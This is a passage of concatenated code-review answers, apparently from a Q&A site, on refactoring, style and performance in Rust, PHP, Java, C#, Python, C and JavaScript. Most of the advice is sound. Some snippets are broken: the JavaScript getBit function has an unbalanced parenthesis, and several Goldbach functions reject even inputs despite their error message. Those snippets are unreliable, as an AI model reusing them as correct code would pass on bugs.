If you're using a nightly compiler, you can also use sum (unstable at the time of writing). For the outer fold, we can use sum directly. For the inner fold, we could first use map to turn the sequence of digits into a sequence of their fifth powers, then sum them up. (I had to add a type annotation on total_pow, for some reason.)

#![feature(iter_arith)] // for Iterator::sum()

fn digits(mut n: u32) -> Vec<u32> {
    if n == 0 {
        vec![0]
    } else {
        let mut digits = Vec::new();
        while n > 0 {
            digits.push(n % 10);
            n /= 10;
        }

        digits
    }
}

fn main() {
    let total_pow: u32 = (2..360000).filter(|&x| {
        x == digits(x).iter().map(|digit| digit.pow(5)).sum()
    }).sum();
    println!("Numbers {}", total_pow);
}

Functional style can make program quite shorter, but also somewhat hard to read when you're not used to it. I encourage you to get used to it, because you're likely to encounter this style again when reading other people's Rust code.


So here are some thoughts:

Your Database class seems to hold zero value.  It provides no abstraction away from underlying PDO if that is the desired goal (which I don't see why it should be since PDO is itself an abstraction). It literally does nothing except catch and log exceptions to instantiating a PDO object. Since it doesn't abstract away things like executing queries, prepared statements, transactions, etc. any class using this class would still need to understand that it is working with an underlying PDO object, so why hide that away inside a Database object class that does absolutely nothing?  It would be better, in my opinion. to have underlying classes understand clearly that they are working with PDO object.
You are not doing dependency injection with what you currently have. If you are trying to move toward dependency injection (which is oftentimes a good strategy), then you need to actually inject the dependency to the consuming class/code, not instantiate the dependency within the class.

So for your Controller class, that might look something like this:

class Controller
  {
    // note I use null here, which is typically better than false
    // to indicate that something is missing any value whatsoever
    protected $pdo = null;

    // note that I have specified that a valid PDO object must be passed
    // to constructor.  Without this, the object would be useless.
    public function __construct(PDO $pdo) {
        $this->pdo = $pdo;
    }

    /*
    Eliminate this method as again, you should probably pass this
    dependency to the constructor.
    Definitely don't have `include` or `require` inside class methods.
    This particular method also seems to have nothing to do with the base
    controller at all. Do you need a separate model factory?
    public function model($model)
    {
      require_once '../app/models/' .$model .'.php';
      return new $model();
    }
    */

    /*
    Eliminate this function as the class should not care about the view.
    Perhaps you have another class which take a Model object as
    dependency and can render the view
    public function view($view, $data)
    {
      require_once '../app/views/' .$view .'.php';
    }
    */

    /*
    Eliminate this method altogether as we are passing PDO object
    to the constructor.  And we don't the controller class to need
    to return its database connection to any caller.  Any other class
    that needs a DB connectoin should have that DB connectoin object
    injected into it.
    public function db_con()
    {
      if($this->db_con == false)
      {
        $database = new Database();
        $this->db_con = $database->db_con;
      }

      return $this->db_con;
    }
    */

Since your code is incomplete for this class, it is hard to say if there is something else this class should be doing.  To me at this point it is not really clear what this controller really does other than hold a DB connection. Perhaps you might consider implementing abstract methods here if the intent is to have inheriting classes provide implementation, though I see no signs of this from your code.

With regards to your Register class, you would need to change the constructor to first call the parent class constructor (to load the PDO object to $this->pdo) then load user model.  Also you have significant problem with working directly with user input ($_POST and $_SERVER variables) without any sort of validation.  My guess is that the data cleaning validation, should happen outside this class so the class need not worry about potentially working with non-validated user input.
Finally, I would like to point out that typically in MVC pattern, the controller can only manipulate the model, and it is the job of the view to take the model and render it.  So I am not sure why your controller has any relation to the view at all. The controller should typically respond to user input and manipulate the model.  Certain MVC implementations have the controller then pass the model to the view for rendering, but it seems here you are actually rendering the view with the controller, which seems a little odd (especially how you are doing it via file inclusion which seems very fragile).


Longest Collatz sequence using dynamic programming in Java

You memoized once, but you needed to do it twice

Suppose you started with the entire countarray filled in for free.  Your program would still time out because you have \$10^4\$ test cases, and for each test case, you are searching up to \$5*10^6\$ array entries for a total of \$5*10^{10}\$ operations.  In other words, your program runs in \$O(T*N)\$ time, which is too slow.

Think about what happens when the first test case is 5000000 and the second test case is 4999999.  When you found the answer for the first test case, you should have also found the answer for the second test case.  But you
didn't memoize that anywhere.  If you just did a pass where you found the answer for each n once and saved the answers in a second memoization array, then each test case would take \$O(1)\$ time.  Then your total time would be \$O(T + N)\$, which is \$O(N)\$ to build the answer array and \$O(T)\$ to handle \$T\$ test cases.

Be careful of overflow

When computing the collatz sequence, it is easy to overflow a 32-bit integer.  I would recommend using a long instead of an int.  You might be overflowing and not knowing it because the if (temp <= 1) check may be cutting the sequence short.


Using C# generics and factory classes to map IDataReader to POCO?

Most of it looks good.  That is until I get to your catch statement:

catch (Exception)
{
    throw new Exception("Error creating Code objects from reader.");
}

really does not explain why you are having.  I would suggest either creating your own exception i.e. InvalidCodeDataException, or throwing an ApplicationException.  Either of these should take the original exception as an inner exception:

catch (Exception ex)
{
    throw new InvalidCodeDataException("Error creating Code objects from reader.", ex);
}

This way, you do not lose what cause the original exception.

Two suggestions:

don't use the this. statement, I find it overly clutters code up if
you are using standard naming conventions, which you are.
Use the object initializer format when creating objects:

return new Code
    {
         Type = (reader["CODE_TYPE"] as string) ?? String.Empty,
         Description = (reader["DESCRIPTION"] as string) ?? String.Empty,
         Value = (reader["CODE"] as string) ?? String.Empty
    }


File presence check for an automated workflow

I would recommend decomposing this function into smaller functions. For example, you would end up with something like this:

def check_conformance():
   csv_conformance  = check_csv_conformance()
   disk_conformance = check_disk_conformance()

Then you can return based on these checks as follows:

return csv_conformance && disk_conformance

Moreover, as a general rule, it is a bad habit to have different amount of return values based on branching. You should have a specific input-output length (again, in general. there are cases where you want a variable length array to be return)


If you are going to have a lot of cases, and each one is quite complex (more than a few lines) I would ditch the if/elif approach.

Instead I would have inner functions, one for each case. Then a dictionary will map each case ('foo', 'bar' etc) to its function.

For example:

class URLAPI(View):
    def get(self, request):
        def act_on_foo():
            ...
        def act_on_bar():
            ...

        func_dict = {'foo': act_on_foo,
                     'bar': act_on_bar}

        param = request.GET.get('param')
        func_dict[param]()

Perhaps an even better design would be to move the act_on_foo and act_on_bar functions to another module to decouple the view from the logic behind it.

And some nitpicking:
Try to avoid mixing " and ' in the same piece of code. Pick one and stick to it.


In Java there’s an established idiom for creating a thread-safe singleton, due to Bill Pugh:

public class Api {
    private Api() { }

    private static class SingletonHolder {
        public static final SyncApi INSTANCE = new ApiFactory().getSyncApi();
    }

    public static SyncApi getInstance() {
        return SingletonHolder.INSTANCE;
    }
}

This implementation is both lazy and completely thread-safe, without the need to explicit synchronization and checking. This has the advantage that it eliminates the possibility of subtle race conditions and redundant locking.


There a few options here, for instance you don't need to use Jquery as much as you are using. This will optimize greatly all of your code.
You can simply use JavaScript commands related to table with document.getElementById("table").rows[].cell[]
 which is very simple and works very nicely and fast. By doing that there  is no need to assign ID's to everything on the table, as you probably are doing now.


Finding solution for pancake sort efficiently without actually flipping each time

You should drop namespace std; It is bad practice even in challenges.
Use more descriptive names even if the variable is named so in the problem. You can also use a range based loop for the initialization of the elements.

size_t vectorLength;
std::cin >> vectorLength;
std::vector<int> numbers(vectorLength);
for (auto &number : numbers) {
    std::cin >> number;
}

You declare the iterators outside of the loop, which is uneccessary, if both have the same type.

for (auto first  = v.begin(), last = v.end(); first != last; --last)

Also you iterate from the end so you might want to think about using reverse iterators aka rbegin() and rend()
When comparing or increasing iterators, you should use mid == std::next(last, 1) and or std::prev accordingly. This works with every kind of iterator.

This also brings me to the bad choice of your loop variable. the iterator is called last and you compare with std::next(last, 1), which one would expect to be out of memory access. Instead define an explicit iterator auto it = numbers.end() and use it in your loop, avoiding confusion.


Reading from a file and connect all data in one big data than to use generators

Is there better way to read from a file and connect all data in one big data than to use generators?

Whenever possible, using generators is better than collecting data in one big object.
One big object needs a lot of memory at once,
using a generator you can use a pipeline where only the data necessary for the current processing is in memory, and discarded when completed.

I didn't look hard enough in your program if your operation can be fully streamlined.
What I can see is that in the dict_cols method you effectively collect from all the generators:

def dict_cols(lines):
        groups = (patlines.match(line) for line in getlines)
        tuples  = (group.groups() for group in groups if group)

Here, getlines and group are generators,
but you fully consume them.
At this point, it doesn't matter anymore if getlines and group were generators or lists, because everything will be loaded in memory anyway.
I don't know if it's possible to change your processing to avoid fully consuming the generators at this point or later.
It would be great if you could.
But even if you cannot,
it's still good that getlines and group are generators instead of lists,
because maybe in the future you will find a better way to process the data in a more streamlined way without collecting.

Using __name__ properly

The purpose of the if __name__ == '__main__': ... check is to make it possible to load a package without executing code. However, you have this:

if __name__ == '__main__':
    names = gen_shownames('*', dir)
    getlines = lines_from_dir('*',dir)
    dt_cols = dict_cols(getlines)

xdata = np.array( [(float(line['PRESSURE']), float(line['CURVE'])) for line in dt_cols] )
xrdata = np.reshape(xdata,(17,360,2))

This defeats the purpose. It would be better to move everything you do inside the if statement and afterward inside a main method, and call that from the if statement, like this:

def main():
    names = gen_shownames('*', dir)
    getlines = lines_from_dir('*',dir)
    dt_cols = dict_cols(getlines)

    xdata = np.array( [(float(line['PRESSURE']), float(line['CURVE'])) for line in dt_cols] )
    xrdata = np.reshape(xdata,(17,360,2))

    # ... and so on

if __name__ == '__main__':
    main()

Coding style

It seems you're not following PEP8,
the official style guide of Python.
I suggest to give it a good read and follow it.

There shouldn't be multiple statements on one line:

    for name in fnmatch.filter(filelist,filepat): yield os.path.join(path,name)

Break the line after :

    for name in fnmatch.filter(filelist,filepat):
        yield os.path.join(path,name)

Do the same in other places too, always break the line after a :.

The else is pointless here and should be removed:

def gen_open(filenames):
    for name in filenames:
        if name.endswith(".XL"): yield open(name)
        else: pass

I see the same in other methods too, fix it everywhere.

Put a space after method parameters, so instead of:

def field_map(dictseq,name,func):
    for d in dictseq:

Write like this:

def field_map(dictseq, name, func):
    for d in dictseq:

Avoid wildcard imports like this:

from gen_enter import *

This practice limits the ability of IDEs and static analysis tools to check for invalid references.

Instead of this:

dir='C:\\Users\\REDHOOD'

You can write simpler this way:

dir='C:/Users/REDHOOD'


You definitely want to take a dynamic programming approach to this problem, as explained by Justin, if only to make the code more readable. I've included a solution based on this approach at the end.

Structure

I found the code fairly difficult to read due to the way it is structured. In its present form it wont be very re-usable, due to the use of global variables and the lack of any overall encapsulation.

For example, the following section, which finds all palindromic substrings, should be encapsulated in a function. And, it would be best for find_partitions to somehow make its own call to this function, rather than to rely on a result stored in a global variable.

for start in range (len(word)):
    end=start+1
    while end < len(word) + 1:
        if word[start:end] == word[start:end][::-1]:
            list_parition_index.append([start,end])
            end +=1
        else:
            end +=1

Correctness

I wasn't able to determine the correctness of the program from inspection, but it appears to produce correct answers, except for inputs that are already palindromes (i.e. require zero cuts), in which case it throws an error.

Also, there's a subtle problem with way you've specified the default value for running.

Efficiency

Again, I wasn't able to fully analyse the efficiency by inspection. However it seems to perform about as well as my solution.

Style

Redundancy:

You import re but don't use it
Initialising start and end isn't necessary
This section

if ...:
    ...
    end +=1
else:
    end +=1

could be replaced with

if ...:
    ...
end +=1

On naming variables:

I think paritions is a spelling mistake. Did you mean partitions?
Some of the names could be made more descriptive, such as lst, item, item_next, and running.

The use of whitespace is a little bit inconsistent. I would make the following changes based on the python style guide:

(index,item) -> (index, item)
find_paritions(to_explore,word,running) -> find_paritions(to_explore, word, running)
complete_paths=[] -> complete_paths = []
parition_count =0 -> parition_count = 0
range (len(word)) -> range(len(word))
[start,end] -> [start, end]
end=start+1 -> end = start + 1
end +=1 -> end += 1
find_paritions (list_zeroes,word) -> find_paritions(list_zeroes, word)
min(x,key=len) -> min(x, key=len)

It wasn't clear to me that running = running + [item] served the role of duplicating running before appending item, so I ended up correcting it to running.append(item) which of course broke the code. Maybe a comment here would be worthwhile, or this statement could be written in such a way that it draws attention to the duplication (e.g. new_running = running + [item], then you wouldn't have to use pop on each successive iteration).

For comparison, here is a solution that uses dynamic programming:

def least_palin_cuts(string, memo=None):
    """Return the minimum number of cuts required to break string into
    palindromic substrings.

    >>> least_palin_cuts('ababbbabbababa') # a|babbbab|b|ababa
    3
    >>> least_palin_cuts('partytrapb') # partytrap|b
    1
    >>> least_palin_cuts('kayak') # kayak (no cuts needed)
    0
    """
    if memo is None:
        memo = dict()
    if string not in memo:
        if is_palindrome(string):
            memo[string] = 0
        else:
            memo[string] = min(
                least_palin_cuts(left, memo) + 1 + least_palin_cuts(right, memo)
                for (left, right) in splits(string)
            )
    return memo[string]

def is_palindrome(string):
    """Return True if string is a palindrome, else False."""
    return all(c1 == c2 for (c1, c2) in zip(string, reversed(string)))

def splits(string):
    """Generate each way of splitting string into two non-empty substrings.

    >>> list(splits('abc'))
    [('a', 'bc'), ('ab', 'c')]
    """
    for i in range(1, len(string)):
        yield (string[:i], string[i:])


Original code (wrapped up in a method):

public IEnumerable<Type> GetAsyncCompletableTypes(Assembly assembly)
{
    return from type in assembly.GetTypes()
           where type.IsPublic && !type.IsSealed && type.IsClass
           where (from method in type.GetMethods()
                  from typeEvent in type.GetEvents()
                  where method.Name.EndsWith("Async")
                  where typeEvent.Name.EndsWith("Completed")
                  let operationName = method.Name.Substring(0, method.Name.Length - "Async".Length)
                  where typeEvent.Name == operationName + "Completed"
                  select new { method, typeEvent }).Count() > 0
           select type;
}

The first thing I notice is that the overall structure of the query is:

Find me all types in the assembly
Where the type is a public, non-sealed class
And where the type passes a complicated looking filter.

I'd split the complicated looking filter out into a method to start with:

public IEnumerable<Type> GetAsyncCompletableTypes(Assembly assembly)
{
    return from type in assembly.GetTypes()
       where type.IsPublic && !type.IsSealed && type.IsClass
       where IsAsyncCompletableType(type)
       select type;
}

private static bool IsAsyncCompletableType(Type type)
{
    return (from method in type.GetMethods()
        from typeEvent in type.GetEvents()
        where method.Name.EndsWith("Async")
        where typeEvent.Name.EndsWith("Completed")
        let operationName = method.Name.Substring(0, method.Name.Length - "Async".Length)
        where typeEvent.Name == operationName + "Completed"
        select new { method, typeEvent }).Count() > 0;
}

That gives us two simpler queries to look at. The only thing I can see in the first part is that the repeated where can be collapsed into a single one:

public IEnumerable<Type> GetAsyncCompletableTypes(Assembly assembly)
{
    return from type in assembly.GetTypes()
       where type.IsPublic && !type.IsSealed && type.IsClass && IsAsyncCompletableType(type)
       select type;
}

Onto the second part. The lines in the query seem to alternate between being related to the methods and the events - reordering the lines will make it clearer what's going on:

private static bool IsAsyncCompletableType(Type type)
{
    return (from method in type.GetMethods()
        where method.Name.EndsWith("Async")
        let operationName = method.Name.Substring(0, method.Name.Length - "Async".Length)
        from typeEvent in type.GetEvents()
        where typeEvent.Name.EndsWith("Completed")
        where typeEvent.Name == operationName + "Completed"
        select 0).Any();
}

We're now using the method variable up to the let operation, and never using it again, so we can select the operationName in a subquery instead of using let.

private static bool IsAsyncCompletableType(Type type)
{
    var operationNames = from method in type.GetMethods()
        where method.Name.EndsWith("Async")
        select method.Name.Substring(0, method.Name.Length - "Async".Length);

    return (from operationName in operationNames
        from typeEvent in type.GetEvents()
        where typeEvent.Name.EndsWith("Completed")
        where typeEvent.Name == operationName + "Completed"
        select 0).Any();
}

You may notice that the two where lines don't make a lot of sense together at this point:

Pick events
Where the name ends with "Completed"
And where the name starts with operationName and ends with "Completed"

The first line is redundant. So we can remove it:

private static bool IsAsyncCompletableType(Type type)
{
    var operationNames = from method in type.GetMethods()
        where method.Name.EndsWith("Async")
        select method.Name.Substring(0, method.Name.Length - "Async".Length);

    return (from operationName in operationNames
        from typeEvent in type.GetEvents()
        where typeEvent.Name == operationName + "Completed"
        select 0).Any();
}

The only thing we ever do to operationName is add "Completed" to it - we might as well do that when we create the operationName (and rename it appropriately):

private static bool IsAsyncCompletableType(Type type)
{
    var eventNamesFromMethods = from method in type.GetMethods()
        where method.Name.EndsWith("Async")
        select method.Name.Substring(0, method.Name.Length - "Async".Length) + "Completed";

    return (from eventNameFromMethod in eventNamesFromMethods
        from typeEvent in type.GetEvents()
        where typeEvent.Name == eventNameFromMethod
        select 0).Any();
}

We're now asking the computer to iterate over all the events and select its name for every eventNameFromMethod. We can pre-compute these and put them into a fast lookup container - a HashSet:

private static bool IsAsyncCompletableType(Type type)
{
    var eventNamesFromMethods = from method in type.GetMethods()
        where method.Name.EndsWith("Async")
        select method.Name.Substring(0, method.Name.Length - "Async".Length) + "Completed";

    var eventNames = new HashSet<string>(
        from typeEvent in type.GetEvents()
        select typeEvent.Name);

    return (from eventNameFromMethod in eventNamesFromMethods
        where eventNames.Contains(eventNameFromMethod)
        select 0).Any();
}

That last bit is now really just a where and an Any. But Any has an overload that takes a condition, so let's use it:

private static bool IsAsyncCompletableType(Type type)
{
    var eventNamesFromMethods = from method in type.GetMethods()
        where method.Name.EndsWith("Async")
        select method.Name.Substring(0, method.Name.Length - "Async".Length) + "Completed";

    var eventNames = new HashSet<string>(
        from typeEvent in type.GetEvents()
        select typeEvent.Name);

    return eventNamesFromMethods.Any(eventNameFromMethod => eventNames.Contains(eventNameFromMethod));
}

And with a little bit of rearranging to remove the eventNamesFromMethods variable that only gets used once:

private static bool IsAsyncCompletableType(Type type)
{
    var eventNames = new HashSet<string>(
        from typeEvent in type.GetEvents()
        select typeEvent.Name);

    return (from method in type.GetMethods()
        where method.Name.EndsWith("Async")
        select method.Name.Substring(0, method.Name.Length - "Async".Length) + "Completed")
        .Any(eventNameFromMethod => eventNames.Contains(eventNameFromMethod));
}

Personally (and feel free to disagree here), I find the extension method syntax far easier to read and reason about (especially when you have to use things like Any anyway), so here's what it looks like using that:

public static IEnumerable<Type> GetAsyncCompletableTypes(Assembly assembly)
{
    return assembly.GetTypes()
        .Where(type => type.IsPublic && !type.IsSealed && type.IsClass && IsAsyncCompletableType(type));
}

private static bool IsAsyncCompletableType(Type type)
{
    var eventNames = new HashSet<string>(type.GetEvents().Select(typeEvent => typeEvent.Name));

    return type.GetMethods()
        .Where(method => method.Name.EndsWith("Async"))
        .Select(method => method.Name.Substring(0, method.Name.Length - "Async".Length) + "Completed")
        .Any(eventNameFromMethod => eventNames.Contains(eventNameFromMethod));
}


Avoid duplicate conditional checks in multiple boolean conditions

Why don't you just write it like this?  It should be logically equivalent.

if (id != null && id > 0 && test.checkId(id) && (isIdChanged || !isAjaxRequest))
{
    // do stuff
}

On a side note, I would move the null and positive id checks into your "checkId" method.  In fact, I think in this case, these checks are redundant and unnecessary.  You're just checking if an id is in an existing list that you're maintaining.  If it's null, it's unlikely it will exist in the list (if you are preventing arbitrary values from being added).  An id outside of the range of expected values will just not be in the list in the first place and therefore is unneeded as well.

But, if you must perform these checks, do it within the checkId method instead.

public boolean checkId(Long id)
{
    // we don't have null ids
    if (id == null)
        return false;
    // we're expecting positive ids
    if (id <= 0)
        return false;

    return list.contains(id);
}

This reduces your outer condition to simply:

if (test.checkId(id) && (isIdChanged || !isAjaxRequest))


First suggestion: do a search before posting, there are many very similar questions on codereview.
What the problem itself suggests is actually better than what you have, because it suggests you write a function to check if a number is prime, while you have everything patched together.
So, the first step is, split the code and write a function that is something like bool is_prime(int input_number)
Then, as said in the comments, you can stop at the square root of the number you're checking.
You know that even numbers are not primes, so you can consider 2 the first prime, start the loop at 3 and increment by 2 instead of 1
Your code will print an extra blank space at the end
Just as an extra optimization, you can keep track of the primes that you've already found and use those to check, skipping what's in between, and continuing from there


I tried to speed up your formula :

return (data[n >> 5] >> (n & 31)) & 1;

.... All results are very close anyway : jsperf.com/fastest-bit-compressing/7.

• notice that you can inline the function by yourself (replace function call by direct computation).

• you might wan to cache latest array access by yourself during your computations.

• Or you might want to do the caching in the function. Efficiency will depends on the 'randomness' of your
use of the bits.

function getBit(n) {
    var itemIndex = n >> 5;
    if (itemIndex != lastItemIndex ) {
        lastItem = data[itemIndex];
        lastItemIndex = itemIndex ;
    }
    return lastItem >> (n & 31)) & 1;
}
var lastItemIndex = -1, lastItem = 0;


Raising an error for slug unique in django

Edit: I didn't realize that you did not want to save the form to the database. It's obvious now, sorry. So this answer no longer applies. But why don't you try to save the actual Question object instead?

This should work, and there's no reason to change if you validated that it does work with tests.

However it would be more Pythonic to actually try saving (without commit=False), then catching the resulting django.db.IntegrityError exception. See EAFP to understand why this is more Pythonic. The happy path will be faster too since you only need to call the database once.


Disabling child scaling, when parent scales with Math

I'm not very familiar with Unity3D, but are you absolutely 100% certain that transform.parent.localScale will never be 0? Otherwise, you should check for that before dividing.


How do I refactor lines of Ruby code that run too long due to method chaining or object instantiation?

I don't really see any real trouble with those lines. But I know the feeling that a line just seems "too long" (especially if everything else in the file is nice and neat). It's often a good thing to notice, but in some cases it just doesn't make sense to worry.

Are the lines readable? Absolutely. They are very descriptive in fact. If you were talking about a very long conditional filled with && and || and negations, then yeah, it should probably be changed. But in this case, I don't see reason to fret.

But if you're intent on refactoring, you could (as an example) move the ArraySerializer instantiation into a factory on DepartmentWithLocationSerializer and get something like

DepartmentWithLocationSerializer.serialize(scope).as_json

That sort of thing helps a bit. But if I knew a good zen quote about a little imperfection being OK too, I'd drop it here :)

Anyway, don't worry about adding methods for things you'll only use once. You don't always need a very "practical" reason like DRY, to add some more methods. If adding some methods it can make the code a little neater to look at, that's a reason in itself. Everything in moderation, YMMV, etc., so just try it out and see if the code seems nicer afterwards. If it doesn't, well, then try to live with the long lines.


Reducing nested while statements for building a grid?

There is a fair amount of common code that can be extracted into a function.

There is a common check in the while clause and the if clause.

boolean CanAdd(LargeContentBlock largeContentBlock, ShapeList shapes)
{
    return largeContentBlock.CanAddBlock(shapes.Peek().Size)
                && !largeContentBlock.Complete;
}

The two inner while loops are doing the same thing, just with two different lists. This is a perfect instance to abstracting the common code into a function.

void AddContent(LargeContentBlock largeContentBlock, ShapeList shapes)
{
    while (shapes.Any() && CanAdd(largeContentBlock, shapes))
    {
        largeContentBlock.Add(shapes.Pop());
    }
}

Now your code looks like:

var largeContentBlock = new LargeContentBlock();

while (!largeContentBlock.Complete && aggregatePageFeed.ShapeList3.Any())
{
    AddContent(largeContentBlock, aggregatePageFeed.ShapeList1);
    AddContent(largeContentBlock, aggregatePageFeed.ShapeList2);

    if (CanAdd(largeContentBlock, aggregatePageFeed.ShapeList3))
        largeContentBlock.Add(aggregatePageFeed.ShapeList3.Pop());
}

return largeContentBlock;


Assign Names to Phone Numbers using text file

Use with when opening files. It automatically closes the file, which you didn't do. And allows readers to easily know the scope of the file.
You can loop through a file, so you don't need to use readlines.
Rather than using iterate_first you can use continue. This is as you skip the line which is empty. It also makes your code simpler, as it explicitly says what that variable does.
Rather than using name_list.index(data), you could instead use enumerate, or even better, zip.
Rather than using %s formatting, you can use str.format. This has a simpler interface, and is the same style as f-strings, which are the new best way to format strings. However f-strings are Python 3.6+.
Your names are mostly good, name_list, but using plurals may be better, names.

Using all the above can allow you to get:

with open("Phone.txt", "r") as phone:
    names = []
    numbers = []
    append_data = "name"
    for data in phone:
        data = data.strip()
        if (data == ''):
            append_data = "phone"
            continue

        if (append_data == "name"):
            names.append(data)
        else:
            numbers.append(data)

for name, number in zip(names, numbers):
    print("{} is associated with the phone number {}".format(name, number))

The above is good, however, I'd personally use itertools.takewhile, and a function. You may find the code harder to read, however I don't so you may not want to use the following.
And so I'd write:

from itertools import takewhile

def read_phone_file(phone_file):
    with open(phone_file, "r") as f:
        lines = (item.strip() for item in f)
        return list(takewhile(bool, lines)), list(lines)

names, numbers = read_phone_file("Phone.txt")
for name, number in zip(names, numbers):
    print("{} is associated with the phone number {}".format(name, number))


Finding the second largest value In an Array

Several comments are unnecessary:

    // Loop over the array
    for (int i = 0; i < array.length; i++) {

    // assign second highest element to highest element
    secondHighest = highest;

I recommend do use braces { ... } for all if-blocks, even if that
consists only of a single statement, and definitely if there is
an additional comment line:

        } else if (array[i] > secondHighest)
            // Just replace the second highest
            secondHighest = array[i];

Iteration over all array elements can be simplified with an
“enhanced for loop:”

    for (int elem : array) {
        // ...
    }

Your function returns Integer.MIN_VALUE for an empty or single-element
array, which is fine if specified as such. An alternative would be
to throw an exception for arrays with less than two elements.

With respect to performance, I doubt there is much to improve.
The function iterates once over all array elements, which looks pretty
much optimal.


Firstly, there's no reason for us to dump all of this in main.

The logic for determining whether or not a string is a lapindrome can (and should) simply exist in a function that takes a string and returns a bool.

bool isLapindrome(const char *string);

This function has the single responsibility of determining whether or not the input string is a Lapindrome, and it returns a true/false indicating as much.

 if(len%2 !=0)
    {
        for(i=0;i<len/2;i++)
        {
            for(j=(len/2)+1;j<len;j++)
            {
                if(s[i] == s[j])
                {
                    if(b[i] && b[j] )
                    {
                        b[i]=0;
                        b[j]=0;
                        count+=1;
                    }
                }
            }
        }
    }
     else if(len%2 ==0)
    {
        for(i=0;i<len/2;i++)
        {
            for(j=(len/2);j<len;j++)
            {
                if(s[i] == s[j])
                {
                    if(b[i] && b[j] )
                    {
                        b[i]=0;
                        b[j]=0;
                        count+=1;
                    }
                }
            }
        }
    }

Correct me if I'm wrong, but by my eyes, the parts inside each half of these if and else are identical except the starting position of the inner loop.

That looks to be the case, so why don't we refactor, starting from the inside and working out.

Rather than nested if statements, we can simply have a single conditional.

if (s[i] == s[j] && b[i] && b[j]) {
    b[i] = 0;
    b[j] = 0;
    ++count;
}

And rather than effectively copy & pasting our loop, we can instead calculate our starting position of the inner loop more effectively:

for (i = 0; i < len/2; ++i) {
    for (j = (len/2 + len%2); j < len; ++j) {

Notice how this produces the same result?  Your version of the code is effectively...

if (someCalculation == 1) {
    // ...
        for (j = len/2 + 1; // ...
} else if (someCalculation == 0) {
    // ...
        for (j = len/2 + 0; // ...

(Anything % 2 can only be 1 or 0.)

So we've already eliminated two levels of nesting without even moving anything out to its own function.

for (i = 0; i < len/2; ++i) {
    for (j = (len/2 + len%2); j < len; ++j) {
        if (s[i] == s[j] && b[i] && b[j]) {
            b[i] = 0;
            b[j] = 0;
            ++count;
        }
    }
}

Some other comments regarding readability...

All of your variable names are unreadably and meaninglessly short.

What is s?
What is b?
What is i?
What is j?
What is z?
I assume len is length.  Why not just use length?

We also have this mess of variable declarations:

int len,b[strlen(s)],z;
int i,j,count =0;
len=strlen(s);

I'm not familiar enough with C to know how expensive strlen is, and while I'm sure it's not horrendous, I also can't imagine it's a completely free call.  And when it does make sense to avoid duplicating function calls, we definitely should.

So for starters:

int length = strlen(inputString);

Next, I'd use any one of the options in this Stack Overflow answer to get yourself a bool type for what b is supposed to be.

bool characterChecked[length];

And then, while it is generally okay to use 1-letter variables for loop iterators, I think we should make it more clear what's going on.  If you're writing C99 code, you can just declare them straight in the loop:

for(int i = 0; // ...

And this would be ideal, especially when we consider that this limits the variables scope to only within the loop.  A variable's scope should be as limited as possible.  A variable's scope should be no larger than necessary.

But if you're on C89, this isn't an option.  As such, we should declare our variables closer to where the for loop actually exists and potentially even leave a comment.

int i;
for(i = 0; //...

Single letter variable names aren't very self-documenting.  (Loop iterators do have some special historical treatment however.  But for your other single-letter variables, we definitely need better.)


Is this the correct approach to animation in Java?

Two recommendations:

It is better that you don't "do any action" in the constructor; create, say, a .start() method and do new Main().start() in main();
rather than testing on count in animation, use this, where nrImages is the number of images:

count = (count + 1) % nrImages;

Also, declare your list as a List, not an ArrayList: use interfaces when available.


I don't know about "LINQ voodoo", but you could do this in one pass if you reversed the order you're processing the rows. Something like this:

        //build triangle graph
        var triangleGraph = new TriangleNode[triangleNumbers.Length][];

        for (int row = triangleNumbers.Length - 1; row >= 0; row--)
        {
            triangleGraph[row] = new TriangleNode[triangleNumbers[row].Length];
            for (int col = 0; col < triangleGraph[row].Length; col++)
            {
                //create the Node and save the value
                bool isEnd = row == triangleNumbers.Length - 1;
                triangleGraph[row][col] = new TriangleNode(triangleNumbers[row][col])
                                              {
                                                  IsEnd = isEnd,
                                                  Left = isEnd ? null : triangleGraph[row + 1][col],
                                                  Right = isEnd ? null : triangleGraph[row + 1][col + 1]
                                              };
            }
        }

I'll admit, I didn't test


One thing that makes your code slow is your repeated calls to primes.index. Each of these calls needs to linearly scan primes until it finds the value you are looking for, making this \$\mathcal{O}(n)\$. This is especially bad in the first if case since you do this twice with exactly the same argument. Instead just keep the index around in addition to the number:

def goldbach_keep_index(number):
    if number % 2 == 1: #Only even numbers
        raise ValueError("Goldbach conjecture is only defined for even numbers")
    primes = primenums(number) #returns all prime numbers <= input number
    i, j = 0, 0
    addend1 = primes[i]
    addend2 = primes[j]

    while addend1 + addend2 != number:
        if addend2 == primes[-1]:
            i = j = i + 1
            addend2 = primes[i]
            addend1 = primes[i]
        else:
            j += 1
            addend2 = primes[j]
    return addend1, addend2

Note that I made this a function, so you can reuse it.

Your main calling code could look like this:

if __name__ == "__main__":
    number = int(input("Enter your number >> "))
    p1, p2 = goldbach_keep_index(number)
    print(f"{p1} + {p2} = {number}")

However, what you are really doing is taking all combinations of prime numbers, without repeating yourself. So just use itertools.combinations_with_replacement:

from itertools import combinations_with_replacement

def goldbach_combinations(number):
    if number % 2 == 0:
        raise ValueError("Goldbach conjecture is only defined for even numbers")
    primes = primenums(number)
    for addend1, addend2 in combinations_with_replacement(primes, 2):
        if addend1 + addend2 == number:
            return addend1, addend2
    raise Exception(f"Found a counter-example to the Goldbach conjecture: {number}")

In this case primes does not even need to be a list, it can just be a generator.

If you instead make primes a set, you can easily implement the idea suggested by @Josiah in their answer by just checking if number - p is in primes:

def goldbach_set(number):
    if number % 2 == 0: #Only even numbers
        raise ValueError("Goldbach conjecture is only defined for even numbers")
    primes = set(primenums(number)) #returns all prime numbers <= input number
    for p in primes:
        k = number - p
        if k in primes:
            return p, k
    raise Exception(f"Found a counter-example to the Goldbach conjecture: {number}")

And now some timing comparisons, where goldbach is your code put into a function:

def goldbach(number):
    if number % 2 == 0: #Only even numbers
        raise ValueError("Goldbach conjecture is only defined for even numbers")
    primes = primenums(number) #returns all prime numbers <= input number
    addend1 = primes[0]
    addend2 = primes[0]

    while addend1 + addend2 != number:
        if primes[-1] == addend2:
            addend2 = primes[primes.index(addend1) + 1]
            addend1 = primes[primes.index(addend1) + 1]
        else:
            addend2 = primes[primes.index(addend2) + 1]
    return addend1, addend2

And primenums is a simple sieve:

def prime_sieve(limit):
    prime = [True] * limit
    prime[0] = prime[1] = False

    for i, is_prime in enumerate(prime):
        if is_prime:
            yield i
            for n in range(i * i, limit, i):
                prime[n] = False

def primenums(limit):
    return list(prime_sieve(limit))

And when pulling the generation of the primes outside of the function (and calculating them up to the largest number in the plot):

